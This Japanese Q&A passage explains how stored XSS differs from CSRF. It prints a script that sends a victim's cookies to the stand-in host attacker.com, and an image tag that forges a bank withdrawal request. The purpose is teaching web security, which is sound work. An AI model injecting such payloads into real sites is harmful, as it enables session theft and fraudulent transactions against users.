タイプ2 XSSとCSRF
XSSとCSRFを完全に理解しようとすると、タイプ2のxssには、サーバーに永続的に存在するエクスプロイトが含まれることは明らかです。
例えば.
<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>
上記のスクリプトがxssに対して脆弱なフォーラムの投稿の一部である場合、ページにアクセスするすべてのユーザーは、evil.phpを介してcookieをattacker.comに送信します。
これはCSRFとどう違うのですか？
例えばフォーラムへの投稿は次のようになります。-Eve：Hello Alice！ここを見て：
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">
どちらの場合も、リモートURLが呼び出され、どちらもサーバーに永続的であるように思えます。
参照：
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
same-Originポリシー のため、XSSの場合、スクリプトは、攻撃しようとしているのと同じドメインのページにあるユーザーのブラウザーに読み込まれる必要があります。
したがって、ユーザーからexample.com Cookieを盗むには、そのJavaScriptをexample.comのページに「挿入」する必要があります。たとえば、コメントセクションがXSSに対して脆弱であるexample.com/viewArticle.php?id=4123&comments=1です。
2番目のケースでは、ユーザーのブラウザがユーザーのセッションを使用してリクエストを送信するようにしたい場合、ユーザーが含むページevil.com/lolcats.htmlにアクセスするだけで十分です。
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">
bank.example.comにはスクリプトやコードを実際には配置していません。
XSSは、サードパーティソースからのブラウザースクリプトOriginが脆弱なWebサイトのコンテンツに挿入されたときに発生します。これは、ユーザーのブラウザーがWebサイトを「提示」するための指示と見なすことができます。 Webの用語では、ユーザーのブラウザーは、そのような指示がWebサイトドメイン内で正当であると信じています。 XSSシナリオでは、返されたコンテンツに注入されたスクリプトが含まれていますが、実際にはWebサイトが望んでいるものではありません（したがって、「クロスサイト」）。
したがって、XSS攻撃は「脆弱なWebサイトから返されたコンテンツに対するユーザーのブラウザの信頼を悪用する」です。
CSRFは、サードパーティによってリクエストがトリガーされ、被害者のユーザーのブラウザから脆弱なWebサイトに送信されて処理される場合に発生します。これは、Webサイトの観点から、リクエストが正当であるように見えるために可能です（ユーザーのブラウザーから送信->必要なCookieを含めることが可能）。 XSSと同様に、現在のWebの用語では、Webサイトは、有効なユーザーブラウザーから送信されたすべてのリクエストは、ユーザーが実際に「開始」した（目的のボタンをクリックするなど）正当なアクションであると信じていますが、そうではありません。
したがって、CSRF攻撃は「被害者のユーザーブラウザから送信されたリクエストに対する脆弱なWebサイトの信頼を悪用する」です。 （これは実際にはXSSの反対です）
多くのシナリオでは、CSRFはXSS脆弱性を介して悪用されるため、XSSとCSRFはしばしば混同されます。